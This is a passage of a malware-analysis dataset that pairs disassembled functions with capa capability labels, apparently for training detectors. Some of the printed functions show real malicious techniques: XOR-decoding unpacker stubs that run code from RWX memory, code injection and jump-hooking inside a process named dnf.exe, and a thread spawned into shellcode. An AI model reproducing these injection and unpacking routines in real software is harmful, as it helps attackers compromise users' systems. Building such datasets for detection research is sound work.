joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49feac
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x49fec3
add esp, 0xfffffff0
call fcn.004056d8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0043b0a0
mov eax, dword [0x4ace60]
cmp byte [eax], 0
jne 0x49fef0
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x17c], al
mov eax, dword [0x4ad09c]
cmp word [eax + 2], 0
jne 0x49ff0a
mov eax, dword [0x4ad09c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004a1fa4
mov eax, dword [0x4ad170]
cmp word [eax + 2], 0
jne 0x49ff24
mov eax, dword [0x4ad170]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004a21b4
mov byte [ebx + 0x35], 0
mov dl, 1
mov eax, dword [0x4458d8]
call fcn.0044a8e0
mov esi, eax
mov dword [ebx + 0x3c], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x4a2764
mov dl, 1
mov eax, dword [0x424724]
call fcn.0040518c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x424724]
call fcn.0040518c
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x448f70]
call fcn.004516d8
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x4a0104
mov eax, dword [0x4acf9c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.00451b6c
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4a2a4c
mov dl, 1
mov eax, dword [0x424724]
call fcn.0040518c
mov dword [ebx + 0x98], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x4acf9c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.00411c98
test eax, eax
je 0x4a0035
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.00411a7c
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00411c7c
test eax, eax
je 0x4a004d
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00406f00
push ebx
push 0x4a1974
call fcn.00495b00
mov dword [ebx + 0x178], eax
mov byte [ebx + 0xd0], 0
mov eax, dword [0x4ace60]
cmp byte [eax], 0
jne 0x4a009e
mov eax, ebx
call fcn.004a0278
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
mov byte [ebx + 0xd1], 0
mov byte [ebx + 0xdc], 0
xor eax, eax
mov dword [ebx + 0xd4], eax
mov byte [ebx + 0xd3], 0
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004a2c78
mov eax, ebx
call fcn.004a38ac
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4a00fb
call fcn.00405730
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a054c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4a05ee
cmp dword [ebx + 0x94], 0
jne 0x4a05e8
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4a0498
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4a05e8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4a05ae
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4a05e8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0042f4f4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4a05bd
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4a080c
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x4b3280]
cmp dword [eax + 0x170], 0
je 0x4a0971
test bl, bl
jne 0x4a08bf
cmp dword [esi + 0x9c], 0
jne 0x4a08b4
mov eax, esi
call fcn.004a36fc
push eax
push 0x4a0718
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4a0885
mov eax, dword [0x4b3280]
cmp byte [eax + 0xd3], 0
je 0x4a0885
mov eax, dword [esi + 0xd8]
call fcn.00408374
mov edi, eax
cmp edi, 0
jl 0x4a0885
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a086e
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a08b4
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0042f4f4
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a0894
inc dword [esi + 0x9c]
jmp 0x4a0971
cmp dword [esi + 0x9c], 0
jle 0x4a0971
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4a0971
cmp dword [esi + 0x44], 0
je 0x4a091c
mov eax, dword [0x4b3280]
cmp byte [eax + 0xd3], 0
je 0x4a091c
mov eax, dword [esi + 0xd8]
call fcn.00408374
mov edi, eax
cmp edi, 0
jl 0x4a091c
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a0905
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a094b
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0042f4f4
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a092b
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x4939d8]
call fcn.00408534
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4a15c0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4a162b
cmp byte [ebx + 0xd3], 0
jne 0x4a162b
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406e54
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4a1618
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4a1638
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406d18
jmp 0x4a1638
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406d18
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4a2e60
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4a2ece
mov eax, esi
call fcn.0047b670
test al, al
je 0x4a2ece
mov eax, dword [ebx + 0x84]
call fcn.0047b2f0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4a2ece
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4a2ec2
push 0
mov eax, dword [ebx + 0x84]
call fcn.0047b2f0
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.004722c8
jmp 0x4a2ece
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004a2c98
pop esi
pop ebx
ret
Function at 0x4a42cc
Capabilities:
Connect pipe
Create pipe
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
lea edi, [ebp - 0x400]
xor eax, eax
push ebp
push 0x4a444c
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
lea eax, [ebp - 0x414]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x414]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
xor eax, eax
mov dword [edi + 8], eax
lea eax, [ebp - 0x414]
mov dword [edi + 4], eax
mov dword [edi], 0xc
push edi
push 0x3e8
push 0
push 0
push 1
push 0
push 3
push 0x4a445c
call sub.kernel32.dll_CreateNamedPipeW
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4a43a8
push 0x4a4490
call sub.kernel32.dll_GetLastError_1
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004112c0
push dword [ebp - 0x41c]
push 0x4a44f4
push 0x4a4508
lea eax, [ebp - 0x418]
mov edx, 4
call fcn.004072b8
mov edx, dword [ebp - 0x418]
mov eax, dword [0x4acf80]
call fcn.004076b0
call fcn.0040497c
call fcn.0040436c
cmp ebx, 0xffffffff
je 0x4a4334
push 0
push ebx
call sub.kernel32.dll_ConnectNamedPipe
mov esi, eax
cmp esi, 1
sbb eax, eax
inc eax
test al, al
je 0x4a4413
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x3e8
lea eax, [ebp - 0x3f4]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
mov esi, eax
cmp esi, 1
sbb eax, eax
inc eax
test al, al
je 0x4a4413
push 0
lea edx, [ebp - 0x3f4]
lea eax, [ebp - 4]
mov ecx, dword [ebp - 0xc]
call fcn.00406568
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00406f1c
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00406f1c
push ebx
call sub.kernel32.dll_CloseHandle_1
jmp 0x4a4334
Function at 0x1001305b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1001306a
pop dword [ebp - 0x48]
mov eax, 0x4e60af5b
sub eax, 0x3e5f7ef1
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xb781169
add dword [ebp - 0x58], 0x42da33e2
mov dword [ebp - 0x54], 0x349fcc48
sub dword [ebp - 0x54], 0x26c8003
mov dword [ebp - 0x50], 0xdb3153ad
sub dword [ebp - 0x50], 0x8ee50f7f
mov dword [ebp - 0x4c], 0xf4b721aa
sub dword [ebp - 0x4c], 0xf4b721aa
lea eax, [ebp - 0x58]
push eax
mov eax, 0x2eb68d88
add eax, 0xe14b727c
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x7f087ea6
add dword [ebp - 0x58], 0xf569eab0
mov dword [ebp - 0x54], 0xb95f0126
add dword [ebp - 0x54], 0x880d604f
mov dword [ebp - 0x50], 0xc2d3a6fa
add dword [ebp - 0x50], 0xa09bc572
mov dword [ebp - 0x4c], 0x868553d9
sub dword [ebp - 0x4c], 0x868553d9
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x40b5b
push 0
call eax
mov ecx, 0x57ad
xor edi, edi
add edi, eax
mov edx, 0x1002bc00
add edx, dword [ebp - 0x48]
mov esi, 0x520e7abc
add dword [ebp - 0x40], edx
mov ebx, dword [edx]
sub ebx, esi
mov dword [ebp - 0x40], 0x291c155d
mov dword [edi], ebx
xor dword [ebp - 0x2c], ebx
add edi, 0xedc8f857
add edi, 0x123707ad
add edx, 0xfc75bea9
sub edx, 0xfc75bea5
loop 0x10013177
add eax, 0x15187
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5840e584
add ecx, 0xb7bf1a7c
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x401640
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call fcn.00403714
mov dword [ebp - 0xc], eax
mov edx, 0x403704
mov eax, dword [ebp - 0xc]
add eax, edx
mov eax, dword [eax]
test eax, eax
jne 0x401769
mov edx, 0x403704
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [eax], 1
mov byte [ebp - 0x15], 0x8b
mov byte [ebp - 0x14], 0xff
mov byte [ebp - 0x13], 0x55
mov byte [ebp - 0x12], 0x8b
mov byte [ebp - 0x11], 0xec
mov eax, dword [0x403664]
mov dword [esp + 8], 5
lea edx, [ebp - 0x15]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004018a5
mov edx, dword [ebp - 0xc]
mov eax, 0x4036c8
add eax, edx
mov eax, dword [eax]
mov dword [esp], 0
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0040362e
test eax, eax
jne 0x401721
mov byte [ebp - 0x1e], 0x4d
mov byte [ebp - 0x1d], 0x79
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x4d
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov edx, dword [ebp - 0xc]
mov eax, 0x403668
add eax, edx
mov eax, dword [eax]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x1e]
mov dword [esp + 4], eax
mov dword [esp], 0
call edx
sub esp, 0x10
mov edx, dword [ebp - 0xc]
mov eax, 0x4036ac
add eax, edx
mov eax, dword [eax]
mov edx, eax
mov ecx, dword [ebp - 0xc]
mov eax, 0x401dce
add eax, ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
sub esp, 0x18
leave
ret
Function at 0x403cae
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [ebp - 0xc], 0
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_Process32First
sub esp, 8
test eax, eax
jne 0x403d06
mov eax, 0
jmp 0x403d65
nop
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x403d53
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x138]
add eax, 0x24
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
jne 0x403d05
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xc], eax
jmp 0x403d54
nop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x403e7c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call fcn.0040381e
mov dword [ebp - 0x1c], 0
mov dword [esp + 4], 0x4082fa
mov dword [esp], 0
call sub.user32.dll_FindWindowA
sub esp, 8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.user32.dll_GetWindowThreadProcessId
sub esp, 8
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403ef0
mov dword [esp], str.dnf.exe
call fcn.00403cae
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403ef0
mov dword [esp], 0x408310
call fcn.00403d94
mov eax, 0
jmp 0x4040b4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x38
call sub.kernel32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403f2d
mov dword [esp], 0x408338
call fcn.00403d94
mov eax, 0
jmp 0x4040b4
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], 0x5000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403f7a
mov dword [esp], 0x408360
call fcn.00403d94
mov eax, 0
jmp 0x4040b4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4ff6
mov dword [esp + 8], fcn.00401640
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_WriteProcessMemory
sub esp, 0x14
cmp eax, 1
je 0x403fc2
mov dword [esp], 0x408384
call fcn.00403d94
mov eax, 0
jmp 0x4040b4
mov eax, dword [0x403664]
lea edx, [ebp - 0x20]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 5
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtectEx
sub esp, 0x14
mov byte [ebp - 0x21], 0xe9
mov eax, dword [0x403664]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
lea edx, [ebp - 0x21]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_WriteProcessMemory
sub esp, 0x14
cmp eax, 1
je 0x40403a
mov dword [esp], 0x4083a8
call fcn.00403d94
mov eax, 0
jmp 0x4040b4
mov edx, 0x403720
mov eax, fcn.00401640
mov ecx, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
add edx, eax
mov eax, dword [0x403664]
mov ecx, edx
sub ecx, eax
mov eax, ecx
sub eax, 5
mov dword [ebp - 0x28], eax
mov eax, dword [0x403664]
add eax, 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.kernel32.dll_WriteProcessMemory
sub esp, 0x14
cmp eax, 1
je 0x4040af
mov dword [esp], 0x4083cc
call fcn.00403d94
mov eax, 0
jmp 0x4040b4
mov eax, 1
leave
ret
Function at 0x404167
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc0000000
mov dword [esp], str..HelloDDK
call sub.kernel32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4041c3
mov dword [esp], 0x408414
call sub.msvcrt.dll_puts
jmp 0x404205
call sub.kernel32.dll_GetCurrentProcessId
mov dword [ebp - 0x10], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
lea eax, [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.kernel32.dll_WriteFile
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.kernel32.dll_CloseHandle
sub esp, 4
leave
ret

Function at 0x404207
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call fcn.00404890
call fcn.00404167
mov dword [esp + 8], str.MyIjtSC
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.kernel32.dll_CreateMutexA
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40425d
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40425d
mov eax, 1
jmp 0x4042d4
call sub.kernel32.dll_GetCurrentProcess
lea edx, [ebp - 0x10]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x403664
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtectEx
sub esp, 0x14
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x404118
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.kernel32.dll_CreateThread
sub esp, 0x18
mov dword [esp], 0x3e8
call sub.kernel32.dll_Sleep
sub esp, 4
jmp 0x4042c3
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x4044c0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_runtime_failure:_n
add ebx, 0x40
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
lea esi, [esi]
Function at 0x404510
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.kernel32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x404606
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x404580
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x404555
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x404565
cmp byte [esp + 0x1e], 0
je 0x404565
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtect
sub esp, 0x10
jmp 0x404565
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004044c0
nop

Function at 0x4048b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a048
call sub.kernel32.dll_EnterCriticalSection
mov ebx, dword [0x40a060]
sub esp, 4
test ebx, ebx
je 0x4048fb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.kernel32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x4048f4
test esi, esi
je 0x4048f4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4048d0
mov dword [esp], 0x40a048
call sub.kernel32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x405301
pop dword [ebp - 0x10]
mov eax, 0x4d6992ff
add eax, 0xb2d6c002
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x5a21e8c5
sub dword [ebp - 0x20], 0xbcfa37a
mov dword [ebp - 0x1c], 0x6b5385fd
sub dword [ebp - 0x1c], 0x392039b8
mov dword [ebp - 0x18], 0xd4edadc7
sub dword [ebp - 0x18], 0x88a16999
mov dword [ebp - 0x14], 0xe1f6f2cf
sub dword [ebp - 0x14], 0xe1f6f2cf
lea eax, [ebp - 0x20]
push eax
mov eax, 0xa9131757
sub eax, 0xa8d24703
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x26aa6911
add dword [ebp - 0x20], 0x4dc80045
mov dword [ebp - 0x1c], 0xeacfa1d1
sub dword [ebp - 0x1c], 0xa963405c
mov dword [ebp - 0x18], 0x20a54b9f
sub dword [ebp - 0x18], 0xbd35df33
mov dword [ebp - 0x14], 0xb3505091
sub dword [ebp - 0x14], 0xb3505091
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3bb72
push 0
call eax
mov ecx, 0x50b5
xor ebx, ebx
add ebx, eax
mov esi, 0xdca3296d
add esi, 0x239e8693
add esi, dword [ebp - 0x10]
mov edx, 0xddaee95e
add edx, 0x84cd27ff
xor dword [ebp - 4], 0xd9a09c14
mov edi, dword [esi]
add edi, edx
sub dword [ebp - 0xc], 0x4e1b3a7
mov dword [ebx], edi
xor dword [ebp - 0xc], esi
add ebx, 0x619ef052
add ebx, 0x9e610fb2
add esi, 0x20e8eefa
sub esi, 0x20e8eef6
loop 0x40541a
add eax, 0x610be6a4
sub eax, 0x610ab0fd
xor ebx, ebx
add ebx, eax
add eax, 0xe4f1efce
add eax, 0x1b0e1037
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret